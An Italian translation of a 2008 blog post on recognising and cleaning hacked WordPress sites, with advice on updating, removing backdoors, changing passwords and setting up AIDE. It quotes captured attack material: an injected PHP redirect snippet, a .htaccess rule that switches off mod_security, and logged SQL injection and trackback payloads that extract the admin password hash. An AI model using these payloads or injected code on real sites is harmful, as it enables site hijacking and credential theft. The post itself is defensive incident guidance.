Il vostro sito WordPress è stato violato?

Questo articolo è stato scritto da Donncha O Caoimh proprio ieri, 8 giugno 2008. Mi è parso di assoluto interesse e vi propongo, dietro il permesso personale dell’autore, una mia traduzione.

La traduzione è rilasciata sotto licenza Creative Commons BY-ND, Attribuzione – Non opere derivate. Le note a pie’ di pagina sono mie, così come pure il testo tra parentesi quadre. Se ripubblicate il testo, dovete includere anche il blocco di testo che precede l’articolo di Donncha. Le note a pie’ di pagina possono essere omesse.

Il vostro sito WordPress è stato violato?
di Donncha O Caoimh – http://ocaoimh.ie/2008/06/08/did-your-wordpress-site-get-hacked/
Traduzione italiana (Creative Commons BY-ND) di Aldo Latino su permesso dell’Autore – https://www.aldolat.it/posts/2008/il-vostro-sito-wordpress-e-stato-violato/

Ricordate quando poche settimane fa¹ ci fu tutto quel parlare sulla violazione di alcuni blog creati con WordPress? Ricorderete come tutti furono invitati ad aggiornare con urgenza i propri blog. Voi avete fatto l’aggiornamento, vero? No? Allora era inevitabile che vi succedesse. Se invece non siete stati ancora attaccati, è solo questione di tempo.

Sfortunatamente per alcuni che avevano fatto l’aggiornamento, era già troppo tardi. Quella gente con pochi scrupoli può aver saputo del problema di sicurezza prima di noi e hanno percorso la loro strada allegra di violazione di blog e siti web, rubando nomi utente e password e installando script di backdoor² per entrare di nuovo in un secondo momento.
Questo è il motivo per cui alcuni blog, pur se aggiornati con diligenza, sono stati violati. Quella gentaglia c’è arrivata prima di voi.

La scorsa settimana gli attacchi sono ricominciati.³ Ma non c’è [attualmente, NdT] un exploit zero-day per WordPress.⁴ Non c’è alcuna prova che la versione 2.5.1 di WordPress sia vulnerabile ad un qualunque exploit in questo momento. Gli attacchi stanno sfruttando di nuovo vecchi exploit. Questa volta stanno reindirizzando visite [hits, NdT] da Google al tuo blog. Quelle visite invece vengono reindirizzate a your-needs.info e a anyresult.net.

Se siete stati attaccati

1. Aggiornate all’ultima versione di WordPress.
2. Assicuratevi che non ci siano backdoor o codice malevolo nel vostro sistema. Vengono lasciati dagli attaccanti nella forma di script o di modifiche a file già esistenti. Controllate pure i file del vostro tema.
3. Cambiate le vostre password dopo l’aggiornamento e assicuratevi che l’attaccante non abbia già creato un altro utente.

Codice nascosto

Quella gentaglia sta usando diversi modi per nascondere i loro attacchi:

• Il modo più semplice è nascondere il codice negli script php. Se la directory e i file del vostro blog sono scrivibili per il webserver, allora l’attaccante ha vita facile nell’inserire il proprio codice dovunque gli piaccia. Wp-blog-header.php sembra essere uno di questi. I file del tema sono un altro luogo gradito. Quando aggiornate WordPress i file del vostro tema non vengono sovrascritti: quindi assicuratevi di controllare due volte quei file se per caso ci sia codice strano che usa il comando eval() oppure base64_decode(). Ecco un pezzo di codice prelevato da qui:

<?php $seref=array("google","msn","live","altavista","ask","yahoo","aol","cnn","weather","alexa");

$ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser="1"; break; }

if($ser=="1" && sizeof($_COOKIE)==0){ header("Location: http://".base64_decode("YW55cmVzdWx0cy5uZXQ=")."/"); exit; }?>

• Un altro attacco aggiunge codice diverso ai vostri file php. Cercate k1b0rg oppure keymachine.de nei vostri script php e rimuovete quel codice pericoloso se lo trovate.

• Controllate il vostro file .htaccess nella directory principale del vostro blog. Se non lo avete mai modificato, dovrebbe apparire come questo:

# BEGIN WordPress
<ifmodule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</ifmodule>
# END WordPress

Questo file potrebbe avere pure questo pezzo di codice che ha a che fare con l’uploader:

<ifmodule mod_security.c>
<files async-upload.php>
SecFilterEngine Off
SecFilterScanPOST Off
</files>
</ifmodule>

• [Gli attaccanti, NdT] stanno pure inviando del codice PHP mascherato come file jpeg nella vostra directory di upload e stanno aggiungendo quei file all’elenco dei plugin attivati. Ciò rende più difficile scovarli, ma non impossibile:
  • Aprite PHPMyAdmin e andate nella tabella delle opzioni del vostro blog e cercate il record active_plugins.
  • Modificate quel record. Si tratta di una lunga linea. Scorrete lungo la linea e troverete una voce del tipo: ../uploads/2008/05/04/jhjyahjhnjnva.jpg. Rimuovete quel testo e assicuratevi di rimuovere pure l’informazione di array serializzato [serialized array information, NdT] per quel record di array. Se tutto questo vi risulta difficile, vi basta cancellare il record active_plugin e riattivare di nuovo tutti i vostri plugin.
  • Cercate nella vostra directory di upload quel file e cancellatelo.
  • Questo video su YouTube vi mostra come fare. Non credo ci sia un bisogno urgente di rimuovere il record rss_*, ma non fate danni se lo togliete.

Cambiate le vostre password

Quando avrete fatto l’aggiornamento e verificato che la vostra installazione è nuovamente pulita, dovete fare le seguenti cose:

1. Cambiate la password di tutti gli utenti nel vostro sistema
2. Assicuratevi che l’attaccante non abbia aggiunto un altro account utente che può usare per autenticarsi di nuovo.

Fermate quella gentaglia

Un modo per fermare quella gentaglia prima che possa far danni maggiori è creare regolari backup e installare un sistema di rilevamento intrusioni⁵.

1. Io uso Backuppc per eseguire il backup dei miei server ogni notte e un semplice script di backup di MySQL per il backup giornaliero.
2. Il primo IDS che mi viene in mente è Tripwire ma ce ne sono molti altri. Ho appena installato AIDE per tenere traccia dei cambiamenti nel server. Il suo compito è di farmi un rapporto quotidiano sui file che sono stati cambiati nel periodo. Se un attaccante ha modificato uno script o ha caricato del codice dannoso, mi viene inviata una email in giornata. Permette configurazioni meticolose, ma è semplice da installare su sistemi Debian (e presumibilmente anche su Ubuntu e Red Hat ed anche Gentoo…):

apt-get install aide
vi /etc/aide/aide.conf.d/88_aide_web
/usr/sbin/aideinit

Nel file di configurazione di sopra inserisco le seguenti righe:

/home/web/ Checksums
!/home/www/logs/.*
!/home/web/public_html/wp-content/cache/.*
!/home/web/.*/htdocs/wp-content/cache/.*

Queste dicono ad AIDE di tenere traccia dei cambiamenti alle cartelle del mio server web, ma di ignorare le cartelle dei log e della cache.

Aggiornate!

Non c’è assolutamente alcuna ragione per non farlo. WordPress è famoso per la sua procedura di installazione in 5 minuti, ma richiede tempo e fatica mantenerlo. Se non volete la seccatura dell’aggiornamento o non sapete come mantenerlo, perché non vi create un account su server che usano WordPress a WordPress.com? Davvero quei 10 dollari che ricavate ogni mese dalla pubblicità giustificano il tempo richiesto per rendere sicuri il vostro sito, i vostri scritti, le vostre foto e il resto? Non intendo fare pubblicità a WordPress.com: scegliete pure il sistema di blogging che vi piace, ma non rendete facile la vita all’immondizia che c’è in giro e che prenderà il sopravvento sul vostro vecchio software per trarne vantaggio.

Date una mano ad un amico

Controllate il codice sorgente dei blog che leggete. Il numero di versione nell’header vi dirà subito se la loro versione di WordPress è vecchia o no. Lasciate pure un messaggio che li spinga a fare l’aggiornamento! Il numero di versione appare all’incirca così:

<meta name=”generator” content=”WordPress 2.5.1? /> <!-- leave this for stats -->

Come si riconosce un attacco?

Eseguo il log su uno dei miei blog di test e vengo a scoprire tutta una serie di tentativi di intrusione. Gli attaccanti utilizzano dei bot stupidi nei loro tentativi per mettere sotto ogni tipo di attacco un sito web, anche per quel software che non è installato. I bot sono così stupidi che di nuovo ritorneranno a rifare gli stessi attacchi.

Ecco quello che io chiamo “attacco ekibastos”.⁶ Viene eseguito per un certo numero di volte e ho visto che proviene regolarmente dall’IP 87.118.100.81. Utilizza uno user agent chiamato “Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)” che abbastanza stranamente non compare ancora su Google.

1. Dapprima l’attaccante visita la vostra Bacheca⁷ e quindi, senza controllare se ha avuto successo, tenta di accedere molte volte a wp-admin/post.php utilizzando richieste HEAD.
2. Poi esegue un POST su wp-admin/admin-ajax.php col seguente messaggio di POST:

POST: Array
(
[cookie] => wordpressuser_c73ce9557defbe87cea780be67f9ae1f=xyz%27; wordpresspass_c73ce9557defbe87cea780be67f9ae1f=132;
)

3. Quando non ci riesce, preleva il file xmlrpc.php.
4. Quindi esegue il POST su quello script, tentando un exploit su un bug vecchio e sistemato da tempo. Ecco un pezzo di codice:

HTTP_RAW_POST_DATA: <?xml version=”1.0??>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>pingback.extensions.getPingbacks</string></value></member>
<member><name>params</name><value><array><data>
<value><string>http://ocaoimh.ie/category/&post_type=%27) UNION ALL SELECT 10048,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 FROM wp_users WHERE ID=1%2F*</string></value>
</data></array></value></member></blockquote>

5. Pure questo tentativo fallisce così la query viene ripetuta con SQL simili.

<value><string>http://ocaoimh.ie/category/&post_type=%27) UNION ALL SELECT 10000%2Bord(substring(user_pass,1,1)),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 FROM wp_users WHERE ID=1%2F*</string></value>

6. Poi tenta un trackback:

URL: /wp-trackback.php?tb_id=1
POST: Array
(
[title] => 1
[url] => 1
[blog_name] => 1
[tb_id] => 666666\'
[1740009377] => 1
[496546471] => 1
)

7. E un altro ancora:

URL: /wp-trackback.php?p=1
POST: Array
(
[url] => ekibastos
[title] => ekibastos
[excerpt] => ekibastos
[blog_name] => +AFw-\’)/*
[charset] => UTF-7
)

8. Prima di tornare alla fine a xmlrpc.php con questa richiesta POST:

<?xml version=”1.0??>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>k1b0rg' icq: 76-86-20</string></value></param>
<param><value><string>http://ocaoimh.ie/?p=k1b0rg#ls</string></value></param>
<param><value><string>admin</string></value></param>
</params>
</methodCall>

9. Tenta nel frattempo queste richieste GET:

GET /index.php?cat=%2527+UNION+SELECT+CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58))+FROM+wp_users+where+id=1/* HTTP/1.1
GET /index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* HTTP/1.1

10. Meno male che ho fatto l’aggiornamento e tutti quegli attacchi sono falliti.

Queste richieste mi hanno attaccato per mesi e le ultime le ho ricevute due giorni fa. Se questo non vi convince che dovete fare l’aggiornamento e controllare il vostro sito web, non so proprio cosa volete.

Photo courtesy: *n3wjack’s world in pixels, cmd dot exe, CC by-sa.